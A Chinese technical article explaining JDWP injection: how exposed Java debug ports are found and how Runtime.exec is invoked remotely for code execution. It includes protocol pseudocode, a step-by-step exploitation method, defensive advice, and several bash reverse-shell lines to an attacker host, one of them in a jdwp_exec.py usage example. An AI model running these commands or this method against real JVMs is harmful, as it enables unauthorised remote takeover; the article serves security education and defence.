在这里插入图片描述

JDWP 注入攻击详解

1. 什么是 JDWP

JDWP(Java Debug Wire Protocol)是 Java 平台调试体系(JPDA)的底层通信协议,定义了调试器(Debugger)和被调试 JVM(Debuggee)之间的二进制通信格式。

JPDA 三层架构:

┌──────────────┐
│   JDI         │  ← Java Debug Interface(高层 Java API)
├──────────────┤
│   JDWP        │  ← Java Debug Wire Protocol(二进制传输协议)
├──────────────┤
│   JVMTI       │  ← JVM Tool Interface(JVM 内部接口)
└──────────────┘

当 JVM 以调试模式启动时,它会监听一个 TCP 端口(或使用共享内存),等待调试器连接。任何能建立 TCP 连接的客户端都可以通过 JDWP 协议与 JVM 交互——协议本身没有任何认证机制

启动调试模式的 JVM 参数

# JDK 5-8
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar app.jar

# JDK 9+(默认仅监听 localhost)
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar app.jar

关键参数说明:

参数 说明
transport=dt_socket 使用 TCP socket 传输
server=y JVM 作为服务端等待连接
suspend=n 启动后不暂停,继续运行
address=5005 监听端口

2. 攻击面分析

2.1 为什么 JDWP 暴露是高危的

  1. 零认证:JDWP 协议没有用户名/密码、Token、证书等任何认证机制
  2. 完全控制:连接后可以执行任意 Java 代码,等同于获得 JVM 进程的完全控制权
  3. 跨平台:只要 JVM 支持 JDWP,攻击方法在 Windows/Linux/macOS 上通用
  4. 常见暴露场景
    • 开发/测试环境忘记关闭调试端口
    • 容器化部署时调试参数被打包进镜像
    • 运维排查问题后忘记移除调试参数

2.2 发现 JDWP 服务

JDWP 服务可以通过简单的端口扫描发现。握手字符串 JDWP-Handshake 是固定的,可作为指纹:

# 使用 nmap 扫描
nmap -sV -p 5005,8000,8787 target_host

# 手动验证
echo "JDWP-Handshake" | nc -w 3 target_host 5005
# 如果返回 "JDWP-Handshake",说明是 JDWP 服务

常见的 JDWP 默认端口:5005800087875050


3. JDWP 协议基础

3.1 握手

JDWP 通信以一个固定的握手开始——双方互发 ASCII 字符串 JDWP-Handshake(14 字节):

Client → Server: JDWP-Handshake
Server → Client: JDWP-Handshake

握手成功后进入命令/回复模式。

3.2 数据包格式

JDWP 使用大端序(Big-Endian)的二进制协议。有两种数据包:

命令包(Command Packet)——调试器发给 JVM 或 JVM 主动发送事件:

┌─────────┬─────────┬───────┬─────────┬─────┬──────┐
│ length  │   id    │ flags │ cmdSet  │ cmd │ data │
│  4字节   │  4字节   │ 1字节  │  1字节   │ 1字节 │ 可变  │
└─────────┴─────────┴───────┴─────────┴─────┴──────┘

回复包(Reply Packet)——JVM 对命令的响应:

┌─────────┬─────────┬───────┬───────────┬──────┐
│ length  │   id    │ flags │ errorCode │ data │
│  4字节   │  4字节   │ 0x80  │   2字节    │ 可变  │
└─────────┴─────────┴───────┴───────────┴──────┘
  • length:整个包的总长度(含自身的 4 字节)
  • id:包标识符,回复包的 id 与对应命令包相同
  • flags:0x00 表示命令包,0x80 表示回复包
  • errorCode:0 表示成功,非零表示错误码

3.3 核心命令集

JDWP 定义了多个命令集(Command Set),注入攻击主要用到以下命令:

命令集 编号 命令 编号 作用
VirtualMachine 1 IDSizes 7 获取协议中各种 ID 的字节大小
VirtualMachine 1 Suspend 8 挂起所有线程
VirtualMachine 1 Resume 9 恢复所有线程
VirtualMachine 1 CreateString 11 在 JVM 堆中创建字符串对象
VirtualMachine 1 ClassesBySignature 2 按签名查找类
ReferenceType 2 Methods 5 获取类的方法列表
ClassType 3 InvokeMethod 3 调用静态方法
ArrayType 4 NewInstance 1 创建数组实例(用于构造 String[])
ObjectReference 9 InvokeMethod 6 调用实例方法
StringReference 10 Value 1 读取字符串对象的内容
ThreadReference 11 Name 1 获取线程名
ThreadReference 11 Status 4 获取线程状态
ThreadReference 11 Frames 6 获取线程栈帧(断点方案使用)
ThreadReference 11 Interrupt 11 中断线程(断点方案使用)
ArrayReference 13 Length 1 获取数组长度
ArrayReference 13 GetValues 2 读取数组元素
ArrayReference 13 SetValues 3 设置数组元素(填充 String[])
EventRequest 15 Set 1 注册事件
EventRequest 15 Clear 2 清除事件

3.4 ID 大小

JDWP 中的各种 ID(objectID、referenceTypeID、methodID 等)的字节大小不是固定的,取决于 JVM 实现。连接后必须先调用 VirtualMachine.IDSizes (1,7) 获取:

响应:
  fieldIDSize        (4B) → 通常 8
  methodIDSize       (4B) → 通常 8
  objectIDSize       (4B) → 通常 8
  referenceTypeIDSize(4B) → 通常 8
  frameIDSize        (4B) → 通常 8

后续所有命令中涉及这些 ID 的编解码都必须使用正确的大小。

3.5 Tagged Value

JDWP 在很多场景使用 tagged-value 编码,即在值前面加一个类型标签字节:

tagged-value = tag(1B) + value

常用 tag:
  'L' (76)  = 对象引用 → value = objectID
  's' (115) = 字符串引用 → value = objectID
  '[' (91)  = 数组引用 → value = objectID
  'I' (73)  = int → value = 4字节有符号整数
  'J' (74)  = long → value = 8字节有符号整数
  'B' (66)  = byte → value = 1字节
  'V' (86)  = void → 无 value

4. 注入原理详解

4.1 核心目标

在目标 JVM 中调用 Runtime.getRuntime().exec(String[]) 执行操作系统命令。

为什么使用 exec(String[]) 而非 exec(String)

Runtime.exec(String) 内部按空格拆分参数,无法正确处理带空格的参数。例如反弹 Shell 命令 bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" 会被错误拆分为多个参数,导致执行失败。

Runtime.exec(String[]) 接收参数数组,每个数组元素就是一个独立的参数,不会被二次拆分。通过 JDWP 构造 String[] 数组需要额外使用 ArrayType.NewInstanceArrayReference.SetValues 命令。

4.2 关键约束:事件挂起线程

JDWP 的 InvokeMethod 命令有一个严格要求:

目标线程必须处于「被事件挂起」(event-suspended)状态。

这意味着线程必须因为调试事件(断点、单步、异常)而被暂停。仅通过 VM.Suspend 命令挂起的线程不能用于 InvokeMethod

这是注入攻击的核心难点。解决方案是主动制造一个调试事件来获取事件挂起的线程。

4.3 SINGLE_STEP 事件方案(主方案)

本方案的策略是利用 SINGLE_STEP(单步执行)事件:

                          时间线
──────────────────────────────────────────────────────>

1. VM.Suspend         → 冻结所有线程
2. 枚举线程            → 找到一个在 Thread.sleep() 中的线程
3. EventRequest.Set   → 注册 SINGLE_STEP 事件到该线程
4. VM.Resume          → 恢复所有线程

               ... sleep() 倒计时中 ...

5. sleep() 到期        → 线程从 native 方法返回
6. 执行下一条字节码    → 触发 SINGLE_STEP 事件
7. JVM 自动挂起线程    → 通知调试器

8. 调试器收到事件      → 获得一个「事件挂起」的线程!
9. InvokeMethod        → 在该线程上调用 Runtime.exec(String[])

              如果 InvokeMethod 失败(Error 502)...

10. 自动降级           → 切换到断点方案,使用不同线程

为什么选择 SLEEPING 的线程?

  • Thread.sleep() 是 native 方法,JVM 在底层执行
  • sleep 有确定的到期时间,线程会自然醒来
  • 醒来后执行的第一条字节码指令会触发 SINGLE_STEP
  • 不需要干预目标程序的正常运行

4.4 断点方案(自动降级备选)

当 SINGLE_STEP 方案失败时(事件超时或目标线程有残留调试状态),脚本自动切换到断点方案:

  1. 挂起 VM,遍历所有非系统线程的栈帧
  2. 找到一个非 native 的字节码位置(index != 0xFFFFFFFFFFFFFFFF
  3. 在该位置设置断点(EventRequest.SeteventKind=BREAKPOINT
  4. 恢复 VM,中断线程(Thread.interrupt()),使其从 native 等待中返回
  5. 线程返回后命中断点,进入事件挂起状态
  6. 如果 InvokeMethod 仍因 Error 502 失败,跳过该线程,尝试下一个

注意interrupt() 会使线程抛出 InterruptedException。如果目标应用捕获该异常后退出,可能会导致服务中断。在 Spring Boot/Tomcat 应用中,Catalina-utility 线程通常是安全的断点目标。


5. 攻击步骤详解

Step 1: 连接与握手

sock.connect((host, port))
sock.sendall(b"JDWP-Handshake")
resp = sock.recv(14)  # 应该收到 "JDWP-Handshake"

Step 2: 获取 ID 大小

# 发送 IDSizes 命令 (1, 7)
# 解析响应获取各 ID 的字节大小
# 后续所有命令都依赖这些大小

Step 3: 挂起 VM 并枚举线程

# VM.Suspend (1, 8) → 冻结所有线程
# VM.AllThreads (1, 4) → 获取线程 ID 列表
# 对每个线程:
#   ThreadReference.Name (11, 1) → 获取线程名
#   ThreadReference.Status (11, 4) → 获取线程状态

线程选择策略(多轮遍历,按优先级):

  1. SLEEPING 线程优先——必然会自然醒来(如 Tomcat 的 container-0
  2. WAIT 线程次之——可能需要外部唤醒(如 Catalina-utilityhttp-nio-exec
  3. RUNNING 线程最后——可能在 native 代码中
  4. 过滤系统线程——维护黑名单,跳过 Reference HandlerFinalizerSignal DispatcherCommon-CleanerDestroyJavaVMAttach ListenerNotification Thread 等 JVM 内部线程
  5. 每级内部优先选名称含 “main” 的线程——简单应用的主循环通常在 main 线程

Step 4: 设置 SINGLE_STEP 事件

# EventRequest.Set (15, 1)
# eventKind = SINGLE_STEP (1)
# suspendPolicy = EVENT_THREAD (1)  → 仅挂起触发线程
# modifiers:
#   modKind = Step (10)
#   threadID = 目标线程
#   size = STEP_MIN (0)    → 最小步进
#   depth = STEP_INTO (0)  → 步入方法

Step 5: 恢复 VM 并等待事件

# VM.Resume (1, 9)
# 等待 JVM 发来事件包...
# 事件包格式:
#   suspendPolicy(1B) + eventCount(4B) +
#   [eventKind(1B) + requestID(4B) + threadID + location]

Step 6: 清除事件并执行命令

关键:必须在 InvokeMethod 之前清除事件请求!

如果不清除,每次 InvokeMethod 内部恢复线程执行方法时,都会触发新的 SINGLE_STEP 事件,导致线程挂起计数叠加,最终 InvokeMethod 超时。

# EventRequest.Clear (15, 2) → 清除 SINGLE_STEP 事件

# 查找 Runtime 类
# ClassesBySignature (1, 2) → "Ljava/lang/Runtime;"
# Methods (2, 5) → 找到 getRuntime() 和 exec(String[])

# 调用 Runtime.getRuntime()
# ClassType.InvokeMethod (3, 3) → 静态方法调用
# 返回 Runtime 单例对象

# 构造 String[] 参数数组(在 getRuntime() 成功后再创建)
# ClassesBySignature (1, 2) → "[Ljava/lang/String;" 获取数组类型
# ArrayType.NewInstance (4, 1) → 创建空 String[] 数组
# CreateString (1, 11) × N → 为每个参数创建字符串对象
# ArrayReference.SetValues (13, 3) → 将字符串填充到数组中

# 调用 runtime.exec(String[])
# ObjectReference.InvokeMethod (9, 6) → 实例方法调用
# 参数: tagged-array 格式的 String[] 引用
# 返回 Process 对象

为什么在 getRuntime() 之后才创建 String[] 参数?

ArrayType.NewInstance / SetValues 等操作会改变 JVM 内部状态。将这些操作放在两次 InvokeMethod 之间,避免在首次 invoke 前引入状态变化。

Step 7: 读取命令输出

# process.waitFor() → 等待命令执行完毕,获取退出码
# process.getInputStream() → 获取标准输出流

# 方案A: 批量读取(Java 9+,推荐,自动首选)
# inputStream.readAllBytes() → 返回 byte[] 对象
# ArrayReference.Length (13, 1) → 获取数组长度
# ArrayReference.GetValues (13, 2) → 一次性读取所有字节
# 仅需 3 次 JDWP 往返

# 方案B: 逐字节读取(自动降级方案)
# inputStream.available() → 获取可读字节数,避免在空流上阻塞
# 循环调用 inputStream.read() → 每次返回一个字节
# 每 256 字节检查一次 available(),及时停止
# 需要 N 次 JDWP 往返(N = 输出字节数)

异常处理:InvokeMethod 返回的异常不再只是一个 objectID,脚本通过调用 Throwable.toString()(使用 StringReference.Value 读取字符串内容)获取可读的异常描述信息。


6. 实战中的关键问题与解决方案

6.1 Native 方法不能设断点

问题Thread.sleep() 是 native 方法,没有字节码,设置断点会报 INVALID_LOCATION (Error 24)。

解决:使用 SINGLE_STEP 事件代替断点。SINGLE_STEP 在 native 方法返回后的第一条字节码指令处触发。

6.2 VM.Suspend vs 事件挂起

问题:直接用 VM.Suspend 挂起的线程不能用于 InvokeMethod,调用会报错或超时。

解决:必须通过调试事件(断点/单步/异常)获取线程。这是 JDWP 协议的设计限制。

6.3 挂起计数叠加

问题:如果事件请求没有清除,InvokeMethod 执行期间会触发新的事件,线程的挂起计数 (suspend count) 不断累加。当 InvokeMethod 完成后尝试恢复线程时,需要多次 resume 才能真正恢复,导致超时。

解决:收到第一个事件后立即清除事件请求,然后再调用 InvokeMethod。

6.4 线程选择——系统线程的陷阱

问题:JVM 内部系统线程(如 Reference HandlerFinalizer)可能在 native 代码中运行,没有可步进的 Java 栈帧,设置 SINGLE_STEP 会返回 THREAD_NOT_SUSPENDED (Error 13)。

解决:维护系统线程黑名单(Reference HandlerFinalizerSignal DispatcherCommon-CleanerDestroyJavaVMAttach ListenerNotification Thread),采用多轮遍历策略:先找 SLEEPING 线程,再找 WAIT 线程,最后 RUNNING 线程。每轮内部优先选非系统线程。在 Spring Boot/Tomcat 应用中,SLEEPING 的 container-0(ContainerBackgroundProcessor,约 10 秒 sleep 周期)是首选,Catalina-utility 是可靠的断点备选。

6.5 Sleep 时间差异

问题:不同应用的 sleep 周期不同。简单测试程序可能是 1 秒,Tomcat 的 ContainerBackgroundProcessor 默认 10 秒。如果等待超时设置太短,会错过事件。

解决:将事件等待超时设置为 15 秒以上,覆盖大多数应用场景。

6.6 INVOKE_SINGLE_THREADED 的陷阱

问题:InvokeMethod 的 options 参数有 INVOKE_SINGLE_THREADED(0x01)选项,表示只恢复目标线程执行方法。在某些 JDK 版本中,这会导致内部锁等待,方法调用永远无法完成。

解决:使用 options=0(恢复所有线程),让 JVM 内部的锁竞争自然解决。

6.7 InvokeMethod 返回值中的异常字段

问题:InvokeMethod 的响应中,异常字段是 tagged-objectID 格式(1 字节 tag + objectID),而不是裸 objectID。如果漏掉 tag 字节,解析会偏移,把正常的返回值误判为异常。

解决:解析时先跳过 1 字节的 tag,再读取 objectID:

offset += 1        # 跳过 tag 字节
exc_id = parse_id(objectIDSize, resp, offset)

6.8 CreateString 的命令号混淆

问题:JDWP 命令集 1 (VirtualMachine) 中有很多命令,CreateString 的正确编号是 (1, 11),容易和 DisposeObjects (1, 14) 等混淆。

解决:严格对照 JDWP 规范文档,逐一核对命令编号。

6.9 ALREADY_INVOKING (Error 502)

问题:如果前一次调试连接在 InvokeMethod 执行过程中断开(网络中断、脚本崩溃等),JVM 可能不会清理目标线程的 invoke_in_progress 标志。后续连接在同一线程上调用 InvokeMethod 时,JVM 返回 Error 502(ALREADY_INVOKING),认为该线程已有活跃的 invoke 操作。此错误在长时间运行的 JVM(如生产环境的 Spring Boot 应用)上尤为常见。

解决

  1. 检测到 Error 502 后,自动放弃当前线程
  2. 切换到断点方案,在另一个线程上获取事件挂起状态
  3. 如果新线程也返回 502,继续尝试下一个线程
  4. 如果所有线程均失败,需要重启 JVM 来清除残留状态
# 伪代码
try:
    invoke_static(getRuntime, thread_id=step_thread)
except ALREADY_INVOKING:
    resume_vm()
    # 使用断点方案在不同线程上重试
    breakpoint_approach(skip_threads={step_thread})

6.10 回复包 ID 不匹配

问题:JDWP 协议中,事件包(JVM 主动推送)和回复包(对命令的响应)混合到达。如果没有正确区分,可能把事件包的数据当作命令的回复来解析,导致后续所有操作偏移出错。

解决

  1. 发送命令时记录 packet ID
  2. 接收回复时校验 packet ID 是否匹配
  3. 收到的非回复包(flags ≠ 0x80)暂存到事件队列,不与命令回复混淆
sent_id = send_command(cmd)
pkt_id, error, data = recv_reply()
if pkt_id != sent_id:
    raise Exception(f"Reply ID mismatch: sent={sent_id}, got={pkt_id}")

6.11 exec(String) 参数拆分问题

问题Runtime.exec(String) 内部按空格拆分参数。命令 bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" 会被拆分为多个参数:["bash", "-c", "\"bash", "-i", ">&", ...],导致执行失败。

解决:使用 Runtime.exec(String[]) 方法,通过 JDWP 在 JVM 中构造 String[] 数组:

# 1. 查找 String[] 数组类型
ClassesBySignature("[Ljava/lang/String;") → arr_type_id

# 2. 创建空数组
ArrayType.NewInstance(arr_type_id, len) → arr_id

# 3. 为每个参数创建字符串对象
CreateString("bash") → str_id_0
CreateString("-c") → str_id_1
CreateString("bash -i >& /dev/tcp/...") → str_id_2  # 完整保留,不拆分

# 4. 填充数组
ArrayReference.SetValues(arr_id, 0, count, [str_id_0, str_id_1, str_id_2])

# 5. 调用 exec(String[]),传入 tagged-array 格式参数
InvokeMethod(runtime_obj, exec_method, args=[TAG_ARRAY + arr_id])

7. 完整攻击流程图

┌─────────────────────────────────────────────────────────────┐
│                        攻击者 (Python Client)                │
└───────────────────────────┬─────────────────────────────────┘
                            │
                    1. TCP Connect
                    2. "JDWP-Handshake" ↔ "JDWP-Handshake"
                            │
                    3. IDSizes (1,7)
                            │
                    4. VM.Suspend (1,8)
                    5. AllThreads (1,4)
                    6. ThreadName/Status → 多轮选择:
                       SLEEPING > WAIT > RUNNING (过滤系统线程)
                            │
                    7. EventRequest.Set (15,1)
                       → SINGLE_STEP on selected thread
                            │
                    8. VM.Resume (1,9)
                            │
                       ┌────┴────┐
                       │ 等待... │  ← sleep() 倒计时 (最长 15 秒)
                       └────┬────┘
                            │
                    9. ← 收到 SINGLE_STEP 事件
                   10. EventRequest.Clear (15,2)
                            │
                   11. ClassesBySignature → "Ljava/lang/Runtime;"
                   12. Methods → getRuntime(), exec(String[])
                            │
                   13. InvokeStatic → Runtime.getRuntime()
                            │
                       ┌────┴────┐  如果 Error 502
                       │ 降级?   │→ 切换到断点方案 + 不同线程
                       └────┬────┘
                            │
                   14. ClassesBySignature → "[Ljava/lang/String;"
                   15. ArrayType.NewInstance → 创建 String[]
                   16. CreateString × N → 创建每个参数字符串
                   17. ArrayReference.SetValues → 填充数组
                            │
                   18. InvokeMethod → runtime.exec(String[])
                            │
                   19. InvokeMethod → process.waitFor()
                   20. InvokeMethod → process.getInputStream()
                   21. InvokeMethod → inputStream.readAllBytes()
                   22. ArrayReference.GetValues → 读取 byte[] 内容
                            │
                   23. VM.Resume (1,9)
                   24. 断开连接
                            │
                      ┌─────┴─────┐
                      │ 输出结果   │
                      │ mac        │
                      └───────────┘

8. 防御建议

8.1 禁止在生产环境开启 JDWP

最根本的防御措施。检查 JVM 启动参数中是否包含 -agentlib:jdwp-Xdebug

# 检查正在运行的 Java 进程
ps aux | grep java | grep -E '(jdwp|Xdebug)'

# 或通过 /proc 检查
cat /proc/<pid>/cmdline | tr '\0' ' ' | grep jdwp

8.2 限制监听地址

JDK 9+ 默认 JDWP 仅监听 localhost,但 JDK 8 及更早版本默认监听所有接口。如果必须开启调试:

# 仅监听 localhost
-agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:5005

8.3 网络层隔离

  • 使用防火墙规则限制调试端口的访问
  • 在容器环境中不暴露调试端口
  • 使用 SSH 隧道进行远程调试
# 通过 SSH 隧道安全调试
ssh -L 5005:localhost:5005 user@remote_host

8.4 安全扫描

定期扫描网络中暴露的 JDWP 服务:

nmap -p 5005,8000,8787 --script=jdwp-info <target_range>

8.5 容器安全

# 不要在 Dockerfile 中硬编码调试参数
# 错误示例:
ENV JAVA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,address=*:5005"

# 正确做法: 调试参数通过环境变量注入,且默认关闭
ENV JAVA_OPTS=""

8.6 运行时检测

监控异常的 JDWP 连接行为:

  • JVM 进程突然收到调试器连接
  • 短时间内大量 InvokeMethod 调用
  • 通过 Runtime.exec() 产生的子进程

9. 相关工具

工具 说明
jdb JDK 自带的命令行调试器
jdwp-shellifier 开源 JDWP 漏洞利用工具(仅支持 exec(String)
nmap jdwp-info Nmap 的 JDWP 服务探测脚本
本文脚本 jdwp_exec.py 基于 Python 的 JDWP 命令执行工具,支持 exec(String[])

jdwp_exec.py 相比其他工具的改进:

  • exec(String[]) 参数传递:通过 JDWP 构造 String[] 数组,正确处理带空格的参数(如反弹 Shell 命令)
  • 双方案自动降级:SINGLE_STEP → 断点方案,Error 502 自动切换线程
  • 批量输出读取:readAllBytes + ArrayReference.GetValues(Java 9+),降级到逐字节读取
  • 异常消息解析:通过 Throwable.toString() 显示可读的异常描述
  • 回复包 ID 校验:防止事件包/回复包混淆导致的解析错误
  • 类/方法缓存:避免重复的 ClassesBySignature 和 Methods 查询

10. 总结

JDWP 注入的本质是利用 Java 调试协议的设计特性——无认证 + 任意方法调用——来实现远程代码执行。攻击的核心难点在于获取一个「事件挂起」状态的线程,这需要理解 JDWP 的事件机制和线程挂起模型。

关键要点:

  1. JDWP 无认证,连接即可完全控制 JVM
  2. InvokeMethod 需要事件挂起的线程,不能用 VM.Suspend
  3. SINGLE_STEP 事件是获取事件挂起线程的首选方式,失败时自动降级到断点方案
  4. 线程选择很关键——多轮遍历(SLEEPING > WAIT > RUNNING),维护系统线程黑名单
  5. 事件请求必须及时清除,否则挂起计数叠加导致超时
  6. 使用 exec(String[]) 而非 exec(String)——正确处理带空格的参数,支持反弹 Shell 等复杂命令
  7. Error 502 (ALREADY_INVOKING) 是长时间运行 JVM 的常见问题,需自动切换线程重试
  8. 批量读取(readAllBytes + ArrayReference)比逐字节读取快几个数量级
  9. 回复包 ID 校验防止事件包/回复包混淆
  10. 最有效的防御是不在生产环境开启 JDWP

用法示例:

# 简单命令
python3 jdwp_exec.py 127.0.0.1 5005 id

# 带参数命令
python3 jdwp_exec.py 127.0.0.1 5005 ls -al /tmp

# 反弹 Shell(参数包含空格和特殊字符,exec(String[]) 正确处理)
python3 jdwp_exec.py 目标IP 5005 /bin/bash -c "bash -i >& /dev/tcp/攻击机IP/4444 0>&1"
Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐